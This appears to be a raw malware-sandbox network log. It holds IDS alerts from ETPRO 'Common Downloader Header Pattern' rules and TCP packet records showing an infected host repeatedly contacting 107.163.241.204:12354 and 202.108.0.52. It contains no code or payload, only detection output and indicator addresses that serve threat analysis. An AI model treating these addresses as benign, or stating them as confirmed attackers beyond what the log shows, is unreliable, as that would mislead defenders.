2024-12-11T16:26:05.782889+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52076	107.163.241.204	12354	TCP
2024-12-11T16:26:05.892252+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52148	107.163.241.204	12354	TCP
2024-12-11T16:26:07.564951+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56006	202.108.0.52	80	TCP
2024-12-11T16:26:07.564993+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54341	107.163.241.204	12354	TCP
2024-12-11T16:26:07.564997+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54178	107.163.241.204	12354	TCP
2024-12-11T16:26:09.404639+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56383	202.108.0.52	80	TCP
2024-12-11T16:26:09.815489+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56340	107.163.241.204	12354	TCP
2024-12-11T16:26:09.944582+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56384	107.163.241.204	12354	TCP
2024-12-11T16:26:11.581670+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	58881	202.108.0.52	80	TCP
2024-12-11T16:26:11.581694+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58350	107.163.241.204	12354	TCP
2024-12-11T16:26:11.581720+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58345	107.163.241.204	12354	TCP
2024-12-11T16:26:13.392656+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59214	202.108.0.52	80	TCP
2024-12-11T16:26:13.814424+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59128	107.163.241.204	12354	TCP
2024-12-11T16:26:13.922594+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59213	107.163.241.204	12354	TCP
2024-12-11T16:26:15.714568+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60550	107.163.241.204	12354	TCP
2024-12-11T16:26:15.714727+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60645	107.163.241.204	12354	TCP
2024-12-11T16:26:17.516942+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	61877	202.108.0.52	80	TCP
2024-12-11T16:26:17.954784+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	61837	107.163.241.204	12354	TCP
2024-12-11T16:26:18.175392+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	61878	107.163.241.204	12354	TCP
2024-12-11T16:26:19.721041+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	65375	202.108.0.52	80	TCP
2024-12-11T16:26:19.721076+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63928	107.163.241.204	12354	TCP
2024-12-11T16:26:19.721104+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63820	107.163.241.204	12354	TCP
2024-12-11T16:26:21.523696+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49288	202.108.0.52	80	TCP
2024-12-11T16:26:21.956590+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49227	107.163.241.204	12354	TCP
2024-12-11T16:26:22.064152+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49286	107.163.241.204	12354	TCP
2024-12-11T16:26:23.736151+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51231	107.163.241.204	12354	TCP
2024-12-11T16:26:23.736160+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52401	202.108.0.52	80	TCP
2024-12-11T16:26:23.736202+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51179	107.163.241.204	12354	TCP
2024-12-11T16:26:25.525697+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52941	202.108.0.52	80	TCP
2024-12-11T16:26:25.970593+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52745	107.163.241.204	12354	TCP
2024-12-11T16:26:26.078215+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52943	107.163.241.204	12354	TCP
2024-12-11T16:26:27.751723+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	55715	202.108.0.52	80	TCP
2024-12-11T16:26:27.751848+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55105	107.163.241.204	12354	TCP
2024-12-11T16:26:27.751865+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55099	107.163.241.204	12354	TCP
2024-12-11T16:26:29.551664+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56267	202.108.0.52	80	TCP
2024-12-11T16:26:30.003505+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56148	107.163.241.204	12354	TCP
2024-12-11T16:26:30.095486+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56266	107.163.241.204	12354	TCP
2024-12-11T16:26:32.005887+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57654	107.163.241.204	12354	TCP
2024-12-11T16:26:32.006116+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57522	107.163.241.204	12354	TCP
2024-12-11T16:26:33.766154+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59063	202.108.0.52	80	TCP
2024-12-11T16:26:34.236624+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59061	107.163.241.204	12354	TCP
2024-12-11T16:26:34.361167+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59074	107.163.241.204	12354	TCP
2024-12-11T16:26:36.004804+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	61971	202.108.0.52	80	TCP
2024-12-11T16:26:36.004817+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60939	107.163.241.204	12354	TCP
2024-12-11T16:26:36.004900+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60826	107.163.241.204	12354	TCP
2024-12-11T16:26:37.846600+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	62491	202.108.0.52	80	TCP
2024-12-11T16:26:38.267623+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62420	107.163.241.204	12354	TCP
2024-12-11T16:26:38.345685+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62477	107.163.241.204	12354	TCP
2024-12-11T16:26:40.017452+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64620	107.163.241.204	12354	TCP
2024-12-11T16:26:40.017466+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49463	202.108.0.52	80	TCP
2024-12-11T16:26:40.017577+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64839	107.163.241.204	12354	TCP
2024-12-11T16:26:41.926799+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50046	202.108.0.52	80	TCP
2024-12-11T16:26:42.406739+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49910	107.163.241.204	12354	TCP
2024-12-11T16:26:42.519950+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50045	107.163.241.204	12354	TCP
2024-12-11T16:26:44.033810+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51593	107.163.241.204	12354	TCP
2024-12-11T16:26:44.033850+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51424	107.163.241.204	12354	TCP
2024-12-11T16:26:45.850702+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52122	202.108.0.52	80	TCP
2024-12-11T16:26:46.283466+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52000	107.163.241.204	12354	TCP
2024-12-11T16:26:46.400861+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52120	107.163.241.204	12354	TCP
2024-12-11T16:26:48.072805+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	55883	202.108.0.52	80	TCP
2024-12-11T16:26:48.072887+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54323	107.163.241.204	12354	TCP
2024-12-11T16:26:48.072915+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54419	107.163.241.204	12354	TCP
2024-12-11T16:26:49.940750+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56240	202.108.0.52	80	TCP
2024-12-11T16:26:50.346777+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56239	107.163.241.204	12354	TCP
2024-12-11T16:26:50.486220+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56241	107.163.241.204	12354	TCP
2024-12-11T16:26:52.127576+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58669	107.163.241.204	12354	TCP
2024-12-11T16:26:52.127599+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58756	107.163.241.204	12354	TCP
2024-12-11T16:26:52.127621+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	60302	202.108.0.52	80	TCP
2024-12-11T16:26:53.948394+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	60812	202.108.0.52	80	TCP
2024-12-11T16:26:54.487042+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60813	107.163.241.204	12354	TCP
2024-12-11T16:26:54.487186+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60811	107.163.241.204	12354	TCP
2024-12-11T16:26:56.253311+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	63950	202.108.0.52	80	TCP
2024-12-11T16:26:56.253329+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62747	107.163.241.204	12354	TCP
2024-12-11T16:26:56.253376+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62754	107.163.241.204	12354	TCP
2024-12-11T16:26:58.059484+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	64412	202.108.0.52	80	TCP
2024-12-11T16:26:58.487871+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64340	107.163.241.204	12354	TCP
2024-12-11T16:26:58.596067+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64411	107.163.241.204	12354	TCP
2024-12-11T16:27:00.267470+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51307	202.108.0.52	80	TCP
2024-12-11T16:27:00.267499+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49961	107.163.241.204	12354	TCP
2024-12-11T16:27:00.267696+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50008	107.163.241.204	12354	TCP
2024-12-11T16:27:02.176197+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51783	202.108.0.52	80	TCP
2024-12-11T16:27:02.502711+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51627	107.163.241.204	12354	TCP
2024-12-11T16:27:02.721139+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51781	107.163.241.204	12354	TCP
2024-12-11T16:27:04.283021+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53449	107.163.241.204	12354	TCP
2024-12-11T16:27:04.283070+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53250	107.163.241.204	12354	TCP
2024-12-11T16:27:06.223009+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	54437	202.108.0.52	80	TCP
2024-12-11T16:27:06.517930+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54167	107.163.241.204	12354	TCP
2024-12-11T16:27:06.627499+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54268	107.163.241.204	12354	TCP
2024-12-11T16:27:08.302686+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56076	107.163.241.204	12354	TCP
2024-12-11T16:27:08.302725+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56250	107.163.241.204	12354	TCP
2024-12-11T16:27:10.184978+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	57643	202.108.0.52	80	TCP
2024-12-11T16:27:10.597110+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57568	107.163.241.204	12354	TCP
2024-12-11T16:27:10.738514+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57657	107.163.241.204	12354	TCP
2024-12-11T16:27:12.315448+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60035	107.163.241.204	12354	TCP
2024-12-11T16:27:12.315483+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	61632	202.108.0.52	80	TCP
2024-12-11T16:27:12.315546+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60195	107.163.241.204	12354	TCP
2024-12-11T16:27:14.124924+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	62079	202.108.0.52	80	TCP
2024-12-11T16:27:14.565598+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	61976	107.163.241.204	12354	TCP
2024-12-11T16:27:14.661319+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62080	107.163.241.204	12354	TCP
2024-12-11T16:27:16.330830+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64288	107.163.241.204	12354	TCP
2024-12-11T16:27:16.330876+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64142	107.163.241.204	12354	TCP
2024-12-11T16:27:16.330903+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	65252	202.108.0.52	80	TCP
2024-12-11T16:27:18.135329+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	65492	202.108.0.52	80	TCP
2024-12-11T16:27:18.565804+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	65421	107.163.241.204	12354	TCP
2024-12-11T16:27:18.674627+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	65491	107.163.241.204	12354	TCP
2024-12-11T16:27:20.345986+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52282	202.108.0.52	80	TCP
2024-12-11T16:27:20.346027+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51155	107.163.241.204	12354	TCP
2024-12-11T16:27:20.346051+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51268	107.163.241.204	12354	TCP
2024-12-11T16:27:22.167088+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52772	202.108.0.52	80	TCP
2024-12-11T16:27:22.580871+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52585	107.163.241.204	12354	TCP
2024-12-11T16:27:22.721731+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52771	107.163.241.204	12354	TCP
2024-12-11T16:27:24.470569+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	54999	107.163.241.204	12354	TCP
2024-12-11T16:27:24.470681+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56259	202.108.0.52	80	TCP
2024-12-11T16:27:24.470681+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55132	107.163.241.204	12354	TCP
2024-12-11T16:27:26.271896+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56922	202.108.0.52	80	TCP
2024-12-11T16:27:26.706538+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56775	107.163.241.204	12354	TCP
2024-12-11T16:27:26.832478+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56923	107.163.241.204	12354	TCP
2024-12-11T16:27:28.486033+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59719	202.108.0.52	80	TCP
2024-12-11T16:27:28.486065+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58580	107.163.241.204	12354	TCP
2024-12-11T16:27:28.486151+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58639	107.163.241.204	12354	TCP
2024-12-11T16:27:30.472520+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	60345	202.108.0.52	80	TCP
2024-12-11T16:27:30.893650+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60181	107.163.241.204	12354	TCP
2024-12-11T16:27:31.035071+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60346	107.163.241.204	12354	TCP
2024-12-11T16:27:32.502287+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	63289	202.108.0.52	80	TCP
2024-12-11T16:27:32.502317+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62705	107.163.241.204	12354	TCP
2024-12-11T16:27:32.502322+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62711	107.163.241.204	12354	TCP
2024-12-11T16:27:34.301864+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	63531	202.108.0.52	80	TCP
2024-12-11T16:27:34.738010+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63434	107.163.241.204	12354	TCP
2024-12-11T16:27:34.846804+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63529	107.163.241.204	12354	TCP
2024-12-11T16:27:36.517472+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64971	107.163.241.204	12354	TCP
2024-12-11T16:27:36.517660+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49981	202.108.0.52	80	TCP
2024-12-11T16:27:36.517667+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64828	107.163.241.204	12354	TCP
2024-12-11T16:27:38.320425+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50465	202.108.0.52	80	TCP
2024-12-11T16:27:38.760325+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50396	107.163.241.204	12354	TCP
2024-12-11T16:27:38.863200+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50467	107.163.241.204	12354	TCP
2024-12-11T16:27:40.533102+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	53313	202.108.0.52	80	TCP
2024-12-11T16:27:40.533136+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51864	107.163.241.204	12354	TCP
2024-12-11T16:27:40.533184+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52000	107.163.241.204	12354	TCP
2024-12-11T16:27:42.344355+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	53774	202.108.0.52	80	TCP
2024-12-11T16:27:42.768791+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53660	107.163.241.204	12354	TCP
2024-12-11T16:27:42.880346+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53773	107.163.241.204	12354	TCP
2024-12-11T16:27:44.569025+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55930	107.163.241.204	12354	TCP
2024-12-11T16:27:44.569071+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	57093	202.108.0.52	80	TCP
2024-12-11T16:27:44.569100+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55792	107.163.241.204	12354	TCP
2024-12-11T16:27:46.407219+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	57498	202.108.0.52	80	TCP
2024-12-11T16:27:46.815470+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57469	107.163.241.204	12354	TCP
2024-12-11T16:27:46.957171+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57499	107.163.241.204	12354	TCP
2024-12-11T16:27:48.707705+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58794	107.163.241.204	12354	TCP
2024-12-11T16:27:48.707734+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59199	202.108.0.52	80	TCP
2024-12-11T16:27:48.707911+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58773	107.163.241.204	12354	TCP
2024-12-11T16:27:50.508515+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59535	202.108.0.52	80	TCP
2024-12-11T16:27:50.940467+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59420	107.163.241.204	12354	TCP
2024-12-11T16:27:51.050238+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59536	107.163.241.204	12354	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:23:51.655555964 CET	49750	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.655862093 CET	49751	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.775394917 CET	12354	49750	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:51.775506020 CET	49750	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.775585890 CET	12354	49751	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:51.775649071 CET	49750	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.775660038 CET	49751	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.775754929 CET	49751	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:51.895762920 CET	12354	49750	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:51.895781040 CET	12354	49751	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:53.890434980 CET	12354	49751	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:53.890501022 CET	12354	49750	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:53.890559912 CET	49751	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:53.890593052 CET	49750	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:53.890652895 CET	49751	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:53.890808105 CET	49750	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.005942106 CET	49772	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.006313086 CET	49773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.010023117 CET	12354	49751	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:54.010143995 CET	12354	49750	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:54.125543118 CET	12354	49772	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:54.125638008 CET	49772	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.125684023 CET	12354	49773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:54.125735044 CET	49773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.125768900 CET	49772	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.125861883 CET	49773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:54.245049953 CET	12354	49772	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:54.245129108 CET	12354	49773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:55.110337973 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:55.230765104 CET	80	49784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:55.230859995 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:55.231003046 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:55.350438118 CET	80	49784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:56.303241014 CET	12354	49773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.303261042 CET	12354	49772	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.303416014 CET	49772	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.303416967 CET	49773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.322026014 CET	49773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.322841883 CET	49772	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.322896004 CET	49796	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.442565918 CET	12354	49773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.443054914 CET	12354	49772	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.443166018 CET	12354	49796	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.443227053 CET	49796	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.484150887 CET	49796	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.544620991 CET	49798	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.604284048 CET	12354	49796	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.664314985 CET	12354	49798	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.664391994 CET	49798	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.671241045 CET	49798	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:56.789465904 CET	80	49784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:56.791126966 CET	12354	49798	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:56.791299105 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:56.796976089 CET	49802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:56.797076941 CET	443	49802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:56.797142982 CET	49802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:56.810636044 CET	49802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:56.810668945 CET	443	49802	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:58.018317938 CET	49796	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.018381119 CET	49802	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.018413067 CET	49798	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.019144058 CET	49814	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.133546114 CET	49815	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.135201931 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.136660099 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.139324903 CET	12354	49814	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:58.139406919 CET	49814	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.139686108 CET	49814	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.252973080 CET	12354	49815	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:58.253067970 CET	49815	12354	192.168.2.9	107.163.241.204
